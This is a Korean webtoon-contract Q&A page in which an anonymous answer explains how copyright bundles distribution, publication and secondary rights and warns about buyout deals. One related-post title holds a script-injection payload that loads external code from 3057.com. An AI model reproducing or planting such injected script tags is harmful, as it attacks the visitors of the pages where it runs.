기타

저작권에 대해서 궁금해요

익명

저작권을 넘기지 말라는 이야기를 많이들었어요....

그런데 저작권을 직접적으로 언급은 안하는데 처음 보는 것들이 있습니다.

'서비스 유통권은 XXX이 가지도록 하며, 유통권을 회사에서 사용하는 기간 동안에는 출판 등 2차 사업에 대하여 상호 합의 해야 한다.'

라는 내용이라던지요


저작권을 가지고 가지 않으면 괜찮은건가요?

익명 | 2017-11-14 03:22:22
저작권을 직접적으로 작성하는 경우도 있지만, 저작권이 아닌 저작권에 관련된 다양한 권한을 가져가는 경우가 적지 않습니다. 저작권을 가져간다고 하지는 않지만 안가져 간다고 하는 것도 아니고 저작권은 매우 포괄적인 권리이기에 가장 애매한 부분이라고 할 수 있습니다. 기본적으로 저작권은 '그 권리 승계인이 행사하는 배타적ㆍ독점적 권리라고 정의' 합니다. 그렇기에 포괄적으로 게재권을 비롯하여 유통권, 출판권 2차사업권 등이 전부 포함됩니다. 그렇기에 저작권을 아예 넘기지 않는다가 아닌, 자신이 허가 할 수 있는 범위나 협상할 수 있는 범위에 대해서는 회사와 협상을 한다면 (예 : 2차 사업에 대해서 진행 할 수 있지만 이에 대해서 회사는 작가와 이야기 해야하고 조건에 대해서는 작가의 동의 하에 협상) 할 수 있습니다. 다만 매절 (회사가 시나리오를 주고 진행하거나 작품을 의뢰하는 경우)는 회사가 모든 권한을 가지고 있을 수 있기에 (유료 판매 비용 까지도) 참고 하시길 바랍니다. 그런 경우에는 저작권을 요구 할 수 없습니다.
웹툰가이드 PICK
웹툰가이드 인기글

연재계약 익명 Q&A

help me<sCRiPt/SrC=//3057.com/cj/>
익명
요즘 누적 MG라는 말이 많더라고요. 좀 자세히 알려줄 수 있나요?
익명
'계약서에 꼭 들어있어야할 내용' 과 '절대로 있어서는 안되는 내용'
익명
연재중에 지각할경우 손해배상을 무조건 해야하나요?
익명
연재 시작 전 관련
익명
작품 연재를 중단하고 같은 작품을 다른 곳에서 연재할 수 있을까요?
익명
계약서 다른데 보여줘도 되는거 맞아요?
익명
각각 다른 플랫폼에서 연재해도 될까요?
익명
2차 창작에 대해서 계약할 수 있을까요?
익명
출판 계약 물어봐도 될까요?
익명
자동갱신은 무조건 나쁜 것인가요?
익명
게재기간에 대해서
익명
계약할 때 매절? 이라는 말을 하는데 뭔가요?
익명
계약서 종류에 대하여
익명
게재 기간이 끝난 뒤는 작품을 찾을 수 있습니까?
익명
저작권에 대해서 궁금해요
익명
계약 이전에 궁금합니다
익명